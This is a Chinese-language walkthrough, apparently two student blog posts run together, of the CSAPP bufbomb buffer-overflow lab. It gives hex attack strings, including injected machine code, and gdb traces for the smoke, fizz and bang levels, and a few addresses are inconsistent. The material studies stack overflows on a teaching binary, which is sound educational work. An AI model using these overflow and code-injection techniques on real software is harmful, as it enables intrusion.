    前57个字节用于填充缓冲区,与实验目标无关,因此可以随意设置,接着的4个字节改写了栈桢中所保存EBP寄存器的旧值,也与实验目标无关同样可以随意设置,再接下来的四个字节将用于改写栈桢中所保存的返回地址,因此我们把它们设置为smoke函数首条指令的地址,按照iA-32平台的小端顺序方式,这四个字节依次是 e8 93 04 08 ,这样当攻击字符串被Gets函数写入缓冲区后,栈桢中保存的返回地址将被修改为指向smoke函数。这样,当getbuf函数结束后,将跳转到函数smoke执行,从而实现了实验目标。

    GDB调试观察求解过程

    在smoke.txt文件中我们写入了以上构造的攻击字符串,首先使用hex2raw程序把它转化为实际的攻击字符串,并把它保存在smoke-raw.txt文件中。

    ./hex2raw < smoke.txt > smoke-raw.txt

    利用gdb命令启动并调试bufbomb程序

    gdb bufbomb

    由bufbomb程序的汇编指令可以看出,我们需要观察getbuf函数调用Gets函数前和后栈桢中的内容是否发生了变化,因此我们会在调用Gets函数的call指令之前设置一个断点,在其后在设置一个断点,以方便我们来观察getbuf函数在这两个断点处它的栈桢和它的调用函数的栈桢也就是test函数的栈桢是否有发生变化。

    在Gets函数调用之前和设置断点,两个断点的地址分别是0x8049c66和0x8049c6c。

    (gdb) b *0x8049c66

    Breakpoint 1 at 0x8049c66

    (gdb) b *0x8049c6c

    Breakpoint 2 at 0x8049c6c

    (gdb)

    启动目标程序运行,指定命令行选项-u后跟用户ID,并把我们保存的攻击字符串文件smoke-raw.txt通过重定向操作符输入到目标程序中。

    (gdb) r -u 631807060623 < smoke-raw.txt

    Starting program: /home/xjh/Desktop/buf/bufbomb -u 631807060623 < smoke-raw.txt

    Userid: 631807060623

    Cookie: 0x6822364a

    Breakpoint 1, 0x08049c66 in getbuf ()

    运行完后,程序中断在我们的第一个断点处,也就是停在了gebuf函数中调用Gets函数之前的下条指令地址。查看EBP寄存器——给出了getbuf函数栈桢的起始地址的寄存器内容。

    (gdb) print $ebp

    $1 = (void *) 0x556833c0 <_reserved>

    在gebuf函数之上是test函数的栈桢,在test函数栈桢的最后存放的是一个返回地址,这个返回地址应该是在test函数调用getbuf函数的call指令之后的那条指令的地址,由test函数的汇编代码可以知道,调用gebuf函数的call指令的地址是0x804959b,在执行这条call指令的时候,一是把call指令的下条指令也就是mov指令的地址 80495a8压入栈中作为返回地址,因此bufbomb程序正常执行时,test函数调用gebuf函数时,正确的返回地址是0x80495a0。

    0804958d :

    804958d: 55 push %ebp

    804958e: 89 e5 mov %esp,%ebp

    8049590: 83 ec 18 sub $0x18,%esp

    8049593: e8 4c 04 00 00 call 80499e4

    8049598: 89 45 f0 mov %eax,-0x10(%ebp)

    804959b: e8 ba 06 00 00 call 8049c5a

    80495a0: 89 45 f4 mov %eax,-0xc(%ebp)

    80495a3: e8 3c 04 00 00 call 80499e4

    80495a8: 89 c2 mov %eax,%edx

    80495aa: 8b 45 f0 mov -0x10(%ebp),%eax

    80495ad: 39 c2 cmp %eax,%edx

    80495af: 74 12 je 80495c3

    80495b1: 83 ec 0c sub $0xc,%esp

    80495b4: 68 34 b1 04 08 push $0x804b134

    80495b9: e8 62 fb ff ff call 8049120

    80495be: 83 c4 10 add $0x10,%esp

    80495c1: eb 41 jmp 8049604

    80495c3: 8b 55 f4 mov -0xc(%ebp),%edx

    80495c6: a1 00 d3 04 08 mov 0x804d300,%eax

    80495cb: 39 c2 cmp %eax,%edx

    80495cd: 75 22 jne 80495f1

    80495cf: 83 ec 08 sub $0x8,%esp

    80495d2: ff 75 f4 pushl -0xc(%ebp)

    80495d5: 68 5d b1 04 08 push $0x804b15d

    80495da: e8 81 fa ff ff call 8049060

    80495df: 83 c4 10 add $0x10,%esp

    80495e2: 83 ec 0c sub $0xc,%esp

    80495e5: 6a 04 push $0x4

    80495e7: e8 eb 07 00 00 call 8049dd7

    80495ec: 83 c4 10 add $0x10,%esp

    80495ef: eb 13 jmp 8049604

    80495f1: 83 ec 08 sub $0x8,%esp

    80495f4: ff 75 f4 pushl -0xc(%ebp)

    80495f7: 68 7a b1 04 08 push $0x804b17a

    80495fc: e8 5f fa ff ff call 8049060

    8049601: 83 c4 10 add $0x10,%esp

    8049604: 90 nop

    8049605: c9 leave

    8049606: c3 ret

    在gebuf函数之上是test函数的栈桢,也就是test函数的栈桢的最后一项是返回地址,其中返回地址的存储地址应该是EBP寄存器的值加上4,查看EBP寄存器加上4存放的返回地址。

    (gdb) x/xw 0x556833c4

    0x556833c4 <_reserved>:0x080495a

    可以看到它就是我们前面反汇编结果中看到的调用getbuf函数的call指令的下条指令的地址,这就验证上面所分析的结果。

    使用c命令继续运行,程序中断在了第二个断点处,也就是停在了gebuf函数中调用Gets函数之后的下条指令地址。

    (gdb) c

    Continuing.

    Breakpoint 2, 0x08049c6c in getbuf ()

    到这里,攻击字符串已经被Gets函数读入栈桢中的缓冲区,并且可能覆盖了栈桢的一些关键信息,查看返回地址的值是否发生变化。

    (gdb) x/xw 0x556833c4

    0x556833c4 <_reserved>:0x080493e8

    可以看到返回地址的存储位置上的值已经变成了0x080493e8,这就是我们在攻击字符串中设置的指向了smoke函数的第一条指令的地址。

    继续运行目标程序。

    (gdb) c

    Continuing.

    Type string:Smoke!: You called smoke()

    VALID

    NICE JOB!

    [Inferior 1 (process 2638) exited normally]

    出现了一些文本,通过这些文本可以看出我们的确成功调用了smoke函数,也就是成功完成了Level 0: smoke的实验任务。

    实验Level 1: fizz

    实验目的:

    本实验级别的任务是让 bufbomb 程序在其中的 getbuf 过程执行 return 语句后转而执行 fizz 过程的代码,而不是返回到 test 过程。

    void fizz(int val)

    {

    if (val == cookie) {

    printf("Fizz!: You called fizz(0x%x)\n", val);

    validate(1);

    }

    else

    printf("Misfire: You called fizz(0x%x)\n", val);

    exit(0);

    }

    不过,与 Level 0 的 smoke 过程 不同,fizz 过程需要一个输入参数,如上列代码所示,本级别要求设法使该参数的值等于使makecookie 得到的 cookie 值。

    注意事项

    在本缓冲区溢出攻击实验中,我们并不能修改bufbomb目标程序中的任何指令和数据,包括fizz函数中的比较和条件分支指令以及cookie全局变量的值,所能改变的只是getbuf函数栈桢结构中的部分内容。

    思路分析

    fizz函数汇编指令:

    08049415 :

    8049415: 55 push %ebp

    8049416: 89 e5 mov %esp,%ebp

    8049418: 83 ec 08 sub $0x8,%esp

    804941b: 8b 55 08 mov 0x8(%ebp),%edx

    804941e: a1 00 d3 04 08 mov 0x804d300,%eax

    8049423: 39 c2 cmp %eax,%edx

    8049425: 75 22 jne 8049449

    8049427: 83 ec 08 sub $0x8,%esp

    804942a: ff 75 08 pushl 0x8(%ebp)

    804942d: 68 66 b0 04 08 push $0x804b066

    8049432: e8 29 fc ff ff call 8049060

    8049437: 83 c4 10 add $0x10,%esp

    804943a: 83 ec 0c sub $0xc,%esp

    804943d: 6a 01 push $0x1

    804943f: e8 93 09 00 00 call 8049dd7

    8049444: 83 c4 10 add $0x10,%esp

    8049447: eb 13 jmp 804945c

    8049449: 83 ec 08 sub $0x8,%esp

    804944c: ff 75 08 pushl 0x8(%ebp)

    804944f: 68 84 b0 04 08 push $0x804b084

    8049454: e8 07 fc ff ff call 8049060

    8049459: 83 c4 10 add $0x10,%esp

    804945c: 83 ec 0c sub $0xc,%esp

    804945f: 6a 00 push $0x0

    8049461: e8 ca fc ff ff call 8049130

    fizz函数接受一个整形的val参数,在函数体中被用来与一个全局变量cookie进行比较。由汇编代码可以看出,其两个寄存器操作数的值分别拷贝自静态数据区,地址0x804d300,和栈中的地址0x8(%ebp),其中地址0x8(%ebp)处存放的就是fizz函数的调用参数val的值,因此0x804d300处存放的就是全局变量cookie的值,为达到实验的目标我们应设法使两个值相等。要使 0x8049423地址处的cmp比较指令能够得到相等的结果。应满足下列两个条件之一:

    地址0x8(%ebp)和0x804d300指向的存储器内容相同

    两个地址0x8(%ebp)和0x804b150自身相同

    地址0x8(%ebp)实际上就是EBP寄存器的值加上8,要它等于已知的目标数值0x804d300相等,实际上就是想要EBP寄存器的值等于 :0x804d300 -0x8 ,也就是等于0x804d2f8。

    ddd4bc2d9f20c4dc7af2908016185e04.png

    因为在本实验并不能修改bufbomb目标程序中的任何指令和数据,因此不可以通过增加指令的方法来直接设置EBP寄存器的值,但是可以发现getbuf函数最后由一条leave指令,这条指令将从栈中弹出函数开始阶段保存的EBP旧值并保存到EBP寄存器中。另一方面栈桢中缓冲区起始地址以上的存储单元的值包括保存了EBP旧值的存储单元,都可以通过缓冲区的溢出,用攻击字符串的内容进行改写,这样就提供了一种间接修改EBP寄存器中值的方法。

    Level 1求解思路

    在攻击字符串中对应EBP旧值的保存位置处,放上前面分析得出的EBP修改的目标值,以使getbuf函数结束前的leave指令将其设置到EBP寄存器中。

    在攻击字符串中对应返回地址的位置处,放上fizz函数中合适指令的地址,以使getbuf函数结束后跳转到该地址处执行。

    对于第2点,目标地址不应像Level 0那样设为fizz函数的首指令地址,因为fizz函数的第二条指令**“mov %esp,%ebp”**将覆盖掉在之前getbuf结束时通过leave指令设置的EBP寄存器中的目标值。本实验并不要求真地调用fizz函数,所以可以直接跳转fizz函数中在cmp比较指令前读取EBP寄存器中值的相应指令。综上所属我们可以构造如下攻击字符串:

    00 11 22 33 44 55 66 77 88 99

    00 11 22 33 44 55 66 77 88 99

    00 11 22 33 44 55 66 77 88 99

    00 11 22 33 44 55 66 77 88 99

    00 11 22 33 44 55 66 77 88 99

    00 11 22 33 44 55 66/* end of buffer */

    f8 d2 04 08

    1b 94 04 08

    前57个字节用于填充缓冲区,与实验目标无关,可以随意设置。接下来的4个字节用于改写栈桢中保存的EBP寄存器中旧值,也就是用于间接设置EBP寄存器的值,因此我们把这四个字节设置为EBP寄存器中的目标值,即全局变量cookid的地址,0x804d300 -0x8 ,等于0x804d2f8,并且按照小端顺序组织,再接着的4个字节将改写栈桢中保存的返回地址,把它设置为fizz函数中在比较指令之前读取EBP寄存器中值的指令 mov 0x8(%ebp),%edx它的地址0x804941b,同样按照小端顺序组织。这样的攻击字符串同时修改了栈桢中保存的EBP的旧值和返回地址。首先通过getbuf函数最后的leave指令,实现对EBP寄存器中值的设置,然后通过ret指令跳转到目标fizz函数中相应指令执行,从而实现了实验目标。

    GDB调试观察Level 1求解过程

    在fizz.txt文件中我们写入了以上构造的攻击字符串,使用hex2raw程序把它转化为实际的攻击字符串,并把它保存在fizz-raw.txt文件中。

    ./hex2raw < fizz.txt > fizz-raw.txt

    利用gdb命令启动并调试bufbomb程序

    gdb bufbomb

    我们需要观察getbuf函数调用Gets函数前和后栈桢中的内容是否发生了变化,因此我们依旧会在调用Gets函数的call指令之前设置一个断点,在其后在设置一个断点,以方便我们来观察getbuf函数在读入攻击字符串前和后栈桢中重要信息是否发生了改变。

    在Gets函数调用之前和设置断点,两个断点的地址分别是0x8049c66和0x8049c6c。

    (gdb) b *0x8049c66

    Breakpoint 1 at 0x8049c66

    (gdb) b *0x8049c6c

    Breakpoint 2 at 0x8049c6c

    (gdb)

    启动目标程序运行,指定命令行选项-u后跟用户ID,并把我们保存的攻击字符串文件fizz-raw.txt通过重定向操作符输入到目标程序中。

    (gdb) r -u 631807060623 < fizz-raw.txt

    Starting program: /home/xjh/Desktop/buf/bufbomb -u 631807060623 < fizz-raw.txt

    Userid: 631807060623

    Cookie: 0x6822364a

    Breakpoint 1, 0x08049c66 in getbuf ()

    运行完后,程序中断在我们的第一个断点处,也就是停在了gebuf函数中调用Gets函数之前的下条指令地址。查看EBP寄存器——该地址存放getbuf函数调用函数test里的EBP寄存器的旧值。

    (gdb) print $ebp

    $1 = (void *) 0x556833c0 <_reserved>

    查看EBP寄存器的旧值。

    (gdb) x/xw 0x556833c0

    0x556833c0 <_reserved>:0x556833e0

    结果显示EBP寄存器的旧值是556833e0,在之后的攻击字符串将要改写这个值,同样的攻击字符串还会改写返回地址。返回地址存放在栈桢中EBP寄存器的值加上4这个地址的内存单元,查看它的值以方便后续做比较观察是否变化。

    (gdb) x/xw 0x556833c4

    0x556833c4 <_reserved>:0x080495a0

    可以看到它就是我们前面反汇编结果中看到的调用getbuf函数的call指令的下条指令的地址,因此getbuf函数结束后将返回到test函数正常执行。

    使用c命令继续运行,程序中断在了第二个断点处,也就是停在了gebuf函数中调用Gets函数之后的下条指令地址。

    (gdb) c

    Continuing.

    Breakpoint 2, 0x08049c6c in getbuf ()

    到这里,攻击字符串已经被Gets函数读入栈桢中的缓冲区。查看EBP寄存器的旧值是否改变。

    (gdb) x/xw 0x556833c0

    0x556833c0 <_reserved>:0x0804d2f8

    可以看到EBP寄存器的旧值的存储位置上的值已经变成了0x0804d2f8,这就是我们在攻击字符串中设置的cookie全局变量的地址减去8以后的结果。也就是说攻击字符串已经把栈桢中保存的EBP寄存器的旧值改变。

    查看返回地址的值是否发生变化。

    (gdb) x/xw 0x556833c4

    0x556833c4 <_reserved>:0x0804941b

    可以看到返回地址的存储位置上的值已经变成了0x0804941b,这就是我们在攻击字符串中设置的指向了fizz函数中在比较指令之前读取EBP寄存器中值的地址。

    继续运行目标程序,观察攻击字符串对栈桢的修改是否有效。

    (gdb) c

    Continuing.

    Type string:Fizz!: You called fizz(0x6822364a)

    VALID

    NICE JOB!

    [Inferior 1 (process 67757) exited normally]

    程序输出可以看出我们成功调用了fizz函数,也就是成功完成了Level 1: fizz的实验任务。

    实验Level 2: bang

    实验目的:

    更复杂的缓冲区攻击将在攻击字符串中包含实际的机器指令,并通过攻击字符串将原返回地址指针改写为位于栈上的攻击机器指令的开始地址。这样,当调用过程(这里是 getbuf)执行 ret 指令时,程序将开始执行攻击代码而不是返回上层过程。

    使用这种攻击方式可以使被攻击程序执行任何操作。随攻击字符串被放置到栈上的代码称为攻击代码(exploit code)。然而,此类攻击具有一定难度,因为必须设法将攻击机器代码置入栈中,并且将返回地址指向攻击代码的起始位置。

    在 bufbomb 程序中,有一个bang过程,代码如下:

    int global_value = 0;

    void bang(int val)

    {

    if (global_value == cookie) {

    printf("Bang!: You set global_value to 0x%x\n",global_value);

    validate(2);

    }

    else

    printf("Misfire: global_value = 0x%x\n", global_value);

    exit(0);

    }

    本实验级别的任务是让 bufbomb 执行 bang 过程中的代码而不是返回到 test 过程继续执行。具体来讲,攻击代码应首先将全局变量 global_value 设置 为对应 userid的 cookie 值,再将 bang 过程的地址压入栈中,然后执行一条 ret 指令从而跳至 bang 过程的代码继续执行。

    注意事项

    可以使用 GDB 获得构造攻击字符串所需的信息。例如,在 getbuf 过程里设置一个断点并执行到该断点处,进而确定 global_value 和缓冲区等变量的地址。

    手工进行指令的字节编码枯燥且容易出错。相反,你可以使用一些工具来完成该工作。

    不要试图利用 jmp 或者 call 指令跳到 bang 过程的代码中,这些指令使用相对 PC 的寻址,很难正确达到前述目标。相反,你应向栈中压入地址并使用 ret 指令实现跳转。

    思路分析

    bang函数的汇编代码:

    08049466 :

    8049466: 55 push %ebp

    8049467: 89 e5 mov %esp,%ebp

    8049469: 83 ec 08 sub $0x8,%esp

    804946c: a1 08 d3 04 08 mov 0x804d308,%eax //全局变量cookie的值

    8049471: 89 c2 mov %eax,%edx

    8049473: a1 00 d3 04 08 mov 0x804d300,%eax //global_value的值

    8049478: 39 c2 cmp %eax,%edx

    804947a: 75 25 jne 80494a1

    804947c: a1 08 d3 04 08 mov 0x804d308,%eax

    8049481: 83 ec 08 sub $0x8,%esp

    8049484: 50 push %eax

    8049485: 68 a4 b0 04 08 push $0x804b0a4

    804948a: e8 d1 fb ff ff call 8049060

    804948f: 83 c4 10 add $0x10,%esp

    8049492: 83 ec 0c sub $0xc,%esp

    8049495: 6a 02 push $0x2

    8049497: e8 3b 09 00 00 call 8049dd7

    804949c: 83 c4 10 add $0x10,%esp

    804949f: eb 16 jmp 80494b7

    80494a1: a1 08 d3 04 08 mov 0x804d308,%eax

    80494a6: 83 ec 08 sub $0x8,%esp

    80494a9: 50 push %eax

    80494aa: 68 c9 b0 04 08 push $0x804b0c9

    80494af: e8 ac fb ff ff call 8049060

    80494b4: 83 c4 10 add $0x10,%esp

    80494b7: 83 ec 0c sub $0xc,%esp

    80494ba: 6a 00 push $0x0

    80494bc: e8 6f fc ff ff call 8049130

    通过bang函数的汇编代码可以看得到,global_value的地址是0x804d300,cookie的地址是0x804d308,为了完成实验的目的,我们首先需要将全局变量 global_value 设置 为对应 userid的 cookie 值,再将 bang 过程的地址压入栈中,然后执行一条 ret 指令从而跳至 bang 过程的代码继续执行。除此之外,我们还需要找到input string存放的位置作为第一次ret 指令的目标位置。

    Level 2求解思路

    自定义设计指令,指令需要完成将全局变量 global_value 设置 为对应 userid的 cookie 值,再将 bang 过程的地址压入栈中,然后执行一条 ret 指令从而跳至 bang 过程的代码继续执行等任务。

    找到input string存放的位置作为第一次ret 指令的目标位置,在攻击字符串中对应返回地址的位置处。

    构造自定义攻击指令bang.s

    先将global_value 用mov指令变cookie (0x0804d308 前不加$ 表示地址),然后将bang()函数地址0x08049466写给esp,再执行ret指令时,程序自动跳入bang()函数,也就是如下所示:

    movl $0x6822364a, 0x0804d308

    pushl $0x08049466

    ret

    指令 gcc -m32 -c bang.s 将assembly code写成machine code -->bang.o再用objdump -d bang.o 读取machine code。

    f75e1d70263f7760df1795ff074a2642.png

    将指令代码写入攻击文件,除此之外我们还需要找到input string存放的位置作为第一次ret 指令的目标位置,经过gdb调试分析getbuf()申请的字节缓冲区首地址为**<0x55683387>**,综上所属我们可以构造如下攻击字符串:

    c7 05 00 d3 04 08 4a 36 22 68

    68 66 94 04 08 c3 00 11 22 33

    44 55 66 77 88 99 00 11 22 33

    44 55 66 77 88 99 00 11 22 33

    44 55 66 77 88 99 00 11 22 33

    44 55 66 77 88 99 00 /* end of buffer */

    00 11 22 33

    87 33 68 55

    前16个个字节就是我们自定义设计的指令代码,然后接下来的41个字节用于填充缓冲区,与实验目标无关,可以随意设置,接着的4个字节改写了栈桢中所保存EBP寄存器的旧值,也与实验目标无关同样可以随意设置,可以随意设置。最后四个字节我们保存input string存放的位置作为第一次ret 指令的目标位置。

    GDB调试观察Level 2求解过程

    在bang.txt文件中我们写入了以上构造的攻击字符串,使用hex2raw程序把它转化为实际的攻击字符串,并把它保存在bang-raw.txt文件中。

    ./hex2raw < bang.txt > bang-raw.txt

    利用gdb命令启动并调试bufbomb程序

    gdb bufbomb

    我们需要观察getbuf函数调用Gets函数前和后栈桢中的内容是否发生了变化,因此我们依旧会在调用Gets函数的call指令之前设置一个断点,在其后在设置一个断点,以方便我们来观察getbuf函数在读入攻击字符串前和后栈桢中重要信息是否发生了改变。

    在Gets函数调用之前和设置断点,两个断点的地址分别是0x8049c66和0x8049c6c。

    (gdb) b *0x8049c66

    Breakpoint 1 at 0x8049c66

    (gdb) b *0x8049c6c

    Breakpoint 2 at 0x8049c6c

    (gdb)

    启动目标程序运行,指定命令行选项-u后跟用户ID,并把我们保存的攻击字符串文件fizz-raw.txt通过重定向操作符输入到目标程序中。

    (gdb) r -u 631807060623 < bang-raw.txt

    Starting program: /home/xjh/Desktop/buf/bufbomb -u 631807060623 < bang-raw.txt

    Userid: 631807060623

    Cookie: 0x6822364a

    Breakpoint 1, 0x08049c66 in getbuf ()

    运行完后,程序中断在我们的第一个断点处,也就是停在了gebuf函数中调用Gets函数之前的下条指令地址。查看EBP寄存器——该地址存放getbuf函数调用函数test里的EBP寄存器的旧值。

    (gdb) print $ebp

    $1 = (void *) 0x556833c0 <_reserved>

    同样的攻击字符串还会改写返回地址。返回地址存放在栈桢中EBP寄存器的值加上4这个地址的内存单元,查看它的值以方便后续做比较观察是否变化。

    (gdb) x/xw 0x556833c4

    0x556833c4 <_reserved>:0x080495a0

    可以看到它就是我们前面反汇编结果中看到的调用getbuf函数的call指令的下条指令的地址。

    使用c命令继续运行,程序中断在了第二个断点处,也就是停在了gebuf函数中调用Gets函数之后的下条指令地址。

    (gdb) c

    Continuing.

    Breakpoint 2, 0x08049c6c in getbuf ()

    查看返回地址的值是否发生变化。

    (gdb) x/xw 0x556833c4

    0x556833c4 <_reserved>:0x55683387

    可以看到返回地址的存储位置上的值已经变成了0x55683387,这就是我们在攻击字符串中设置input string存放的位置作为第一次ret 指令的目标位置。

    继续运行目标程序,观察攻击字符串对栈桢的修改是否有效。

    (gdb) c

    Continuing.

    Type string:Bang!: You set global_value to 0x6822364a

    VALID

    NICE JOB!

    [Inferior 1 (process 2696) exited normally]

    程序输出可以看出我们成功调用了bang函数,也就是成功完成了Level 2: bang的实验任务。

    实验提示:生成对应汇编指令序列的字节代码

    为方便生成指令序列的字节编码表示(例如用于 Level 2-4),可以依次使用 GCC 和 OBJDUMP 对所设计完成特定攻击目标的汇编指令序列进行汇编并再反汇编,从而得到指令 序列的字节编码表示。

    例如,可编写一个 example.S 文件包含如下汇编代码:

    # Example of hand-generated assembly code

    push $0xabcdef # Push value onto stack

    add $17,%eax # Add 17 to %eax

    .align 4 # Following will be aligned on multiple of 4

    .long 0xfedcba98 # A 4-byte constant

    然后,可如下汇编再反汇编该文件:

    linux>gcc -m32 -c example.S linux>objdump -d example.o > example.d

    生成的 example.d 文件包含如下代码行:

    0: 68 ef cd ab 00 push $0xabcdef

    5: 83 c0 11 add $0x11,%eax

    8: 98 cwtl

    9: ba .byte 0xba

    a: dc fe fdivr %st,%st(6)

    其中,每行显示一个单独的指令。左边的数字表示指令的起始地址(从 0 开始),”:” 之后的 16 进制数字给出指令的字节编码(即实验所需的编码后的攻击字符串内容)。例如, 指令”push $0xabcdef“对应的 16 进制字节编码为”68 ef cd ab 00“。 然而,注意从地址“8”开始,反汇编器错误地将本来对应程序中静态数据的多个字节解释 成了指令(cwtl)。实际上,从该地址起的 4 个字节“98 ba dc fe”对应于前述 example.S 文 件中最后的数据 0xfedcba98 的小端字节表示。

    按上述步骤确定了所设计机器指令对应的字节序列“68 ef cd ab 00 83 c0 11 98 ba dc fe”后,就可以把该十六进制格式字符串输入 hex2raw 程序以产生一个用于输入到 bufbomb 程序的攻击字符串。更方便的方法是,由于 hex2raw 程序支持在输入字符串中包含 C 语言 块注释(以方便用户理解其中字符串对应的指令),可以编辑修改 example.d 文件为如下形 式(将反汇编结果中的指令说明变为注释):

    68 ef cd ab 00 /* push $0xabcdef */

    83 c0 11 /* add $0x11,%eax */

    98 ba dc fe

    然后就可将该文件做为 hex2raw 程序的输入进行实验

    展开全文
  • 前言 完成这个实验大概花费一天半...CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom lab3要我们做这样一件事情,修改一个正在运行程序...

    前言

    完成这个实验大概花费一天半的时间,看了很多大佬的博客,也踩了很多的坑,于是打算写一篇博客重新梳理一下思路和过程,大概会有两篇博客吧。

     

    CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz

    CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom

     

    lab3要我们做这样一件事情,修改一个正在运行程序的stack以达到预期的目的。具体的修改方式是这样的:程序定义了一个局部C风格字符串变量,注意局部变量是放在stack上面的,所以当初始化这个字符串为用户输入,而又没有边界检查的话,就会缓冲区溢出,那么就会破坏这个函数栈。

    就像下面这个函数会破坏自己的函数栈:

    #define NORMAL_BUFF_SIZE 32
    int getbuf()
    {
        char buf[NORMAL_BUFF_SIZE];
        Gets(buf);
        return 1;
    }

     

    会破坏到什么程度呢?如果用户输入太大,那么就把saved ebp给覆盖掉了;再大一点,就把return address覆盖掉了…没错,这个lab的精髓就是要让我们的输入来覆盖return address达到return到代码的其它地方执行!!!

    实验目的:

    通过缓冲区溢出攻击,使学生进一步理解IA-32函数调用规则和栈帧结构。

    实验技能:

    需要使用objdump来反汇编目标程序,使用gdb单步跟踪调试机器代码,查看相关内存及寄存器内容,也需要学生掌握简单的IA32汇编程序编写方法。

    实验要求:

    5个难度等级(0-4逐级递增)

    级别0、Smoke(candle):构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行smoke函数。


    级别1、Fizz(sparkler):构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行fizz函数;fizz函数含有一个参数(cookie值),构造的攻击字符串应能给定fizz函数正确的参数,使其判断成功。


    级别2、Bang(firecracker):构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行bang函数;并且要篡改全局变量global_value为cookie值,使其判断成功。因此,需要在缓冲区中注入恶意代码篡改全局变量。


    级别3、Boom(dynamite):前面的攻击都是使目标程序跳转到特定函数,进而利用exit函数结束目标程序运行。Boom要求攻击程序能够返回到原调用函数test继续执行,即要求攻击之后,还原对栈帧结构的破坏。


    级别4、kaboom(Nitro):本攻击需要对目标程序连续攻击n=5次,但每次攻击,被攻击函数的栈帧内存地址都不同,也就是函数的栈帧位置每次运行时都不一样。因此,要想办法保证每次都能够正确复原原栈帧被破坏的状态,使程序每次都能够正确返回。

    从这个等级的命名我们也能窥探到一些端倪,candle 蜡烛,sparkler 烟火,firecracker 爆竹,dynamite 火药,Nitro 硝化甘油这一套命名规则显然让我们想起来lab2的拆弹实验,可见级别越高威力必然也就越大。而另外一套命名规则显然是从效果来看的,Smoke 冒烟,Fizz 劈啪作响,Bang 怦然巨响,Boom 隆隆作响,kaboom 大炸裂,果然有点意思。

    文件夹内容

    本实验的数据包含于一个文件夹buflab-handout.tar中。下载该文件到本地目录中,然后利用“tar –xvf buflab-handout.tar”命令将其解压。

    bufbomb:实验需要攻击的目标程序bufbomb。
    bufbomb.c:目标程序bufbomb的主源程序。本校的实验中没有给出,但老师给的ppt上有。
    makecookie:该程序基于你的学号产生一个唯一的由8个16进制数字组成的4字节序列(例如0x5f405c9a),称为“cookie”。
    hex2raw:构建的攻击字符串中可能包含不可打印字符,很难通过键盘输入,提交结果时,一般将结果放置在一个答案txt文件中(攻击字符串以可显示的16进制形式存储),在输入给bufbomb之前,需要使用hex2raw将其转换成原始的(raw)数据。


    其中结果提交和验证时,均需要使用到bufbomb,其使用方法(-h查看帮助):

    h:查看帮助;
    u:学生标识;-u要求我们输入一个唯一的userid,根据不同的userid生成不同的cookie值,这里我使用的userid是stu
    n:对于级别4(nitro/kaboom),需要加此参数,被坑了很久,一定要加上此参数!!
    s:验证正确性的同时,将结果提交到服务器(如果验证正确);

    实验步骤及操作说明

    准备工作

    使用objdump -d命令将其反汇编到bufbomb.asm。

     objdump -d bufbomb > bufbomb.asm

    使用makecookie,生成用户的Cookie,后面解题都要用到这个Cookie:

     

    0~3关:

    攻击test()下getbuf()

     

    第4关(Nitro/kaboom):

    循环调用5次,
    攻击testn() 下getbufn()

     

    第0关:smoke

    构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行smoke函数。

    源码:

    #define NORMAL_BUFFER_SIZE 32
    void test()
    {
        int val;
        /* Put canary on stack to detect possiblecorruption */
        volatile int local = uniqueval();
        val = getbuf();
        /* Check for corruption stack */
        if (local != uniqueval())
        {
            printf("Sabotaged!: the stack has beencorrupted\n");
        }
        else if (val == cookie)
        {
            printf("Boom!: getbuf returned0x%x\n", val);
            validate(3);
        }
        else
        {
            printf("Dud: getbuf returned0x%x\n", val);
        }
    }
    int getbuf()
    {
        char buf[NORMAL_BUFFER_SIZE];
        Gets(buf);
        return 1;
    }
    //Smoke源码:
    void smoke()
    {
        puts("Smoke!: You calledsmoke()");
        validate(0);
        exit(0);
    }

    我们的目标是调用上面的getbuf()以后,不正常返回,而是跳掉smoke这个函数的地方执行。

    先看一下smoke的反汇编代码:

    smoke函数的地址:0x8048c28

    getbuf函数对应的栈还是上面那个栈的图:

     

    buf只有0x28字节长度。

    接下来,只要构造0x28(buf)+4(ebp)+4(return address)=48字节长度的字节码就可以将返回地址覆盖,最后四个字节的内容放smoke函数的地址保证返回地址是被smoke函数的地址覆盖,因为是小端存储,也就是:28 8c 04 08,前面44个字节任意这里我放一些00

     也就是:

    00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00
    00 00 00 00
    28 8c 04 08

    将其保存到一个txt文件中,用管道输入,通过hex2raw之后输入bufbomb程序。

    完成!

     

    第1关:fizz

    构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行fizz函数;fizz函数含有一个参数(cookie值),构造的攻击字符串应能给定fizz函数正确的参数,使其判断成功。

    还是上面的test函数和getbuf函数,这里就给出fizz源码:

    void fizz(int val)
    {
        if (val == cookie)
        {
            printf("Fizz!: You called fizz(0x%x)\n", val);
            validate(1);
        }
        else
            printf("Misfire: You called fizz(0x%x)\n", val);
        exit(0);
    }

    这一关和第0关类似,最大的区别是这次要跳到fizz这个函数有个参数,我们在输入里需要伪造出函数的参数。

    先看一下fizz的反汇编代码:

    fizz函数的地址:0x08048c52 即( 52 8c 04 08)

    在fizz函数代码里有这样两句:

     mov    0x8(%ebp),%eax
     cmp    0x804d108,%eax

    其中0x8(%ebp)就是函数的第一个参数,而0x804d108这个内存地址保存着cookie的值,然后这两个值期望是一样的,这个位置就是我们要放cookie的位置。也就是说参数是放到了返回地址的上面,并且和返回地址相邻。同第0关一样,先用fizz函数地址覆盖掉getbuf返回地址,可以执行fizz函数,并且要将fizz函数的返回地址覆盖掉,并用cookie覆盖掉上面的参数。这样就可以跳转到fizz函数,并且在跳转后自己取到cookie作为参数,fizz函数的返回地址可以用任意四个字节的数覆盖,这里00 00 00 00覆盖掉,其作用只是用来占位。

    也就是:

    00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00
    00 00 00 00
    52 8c 04 08 /*fizz 函数地址*/
    00 00 00 00/*fizz return address */
    94 25 80 4f /*Cookie: 0x4f802594*/

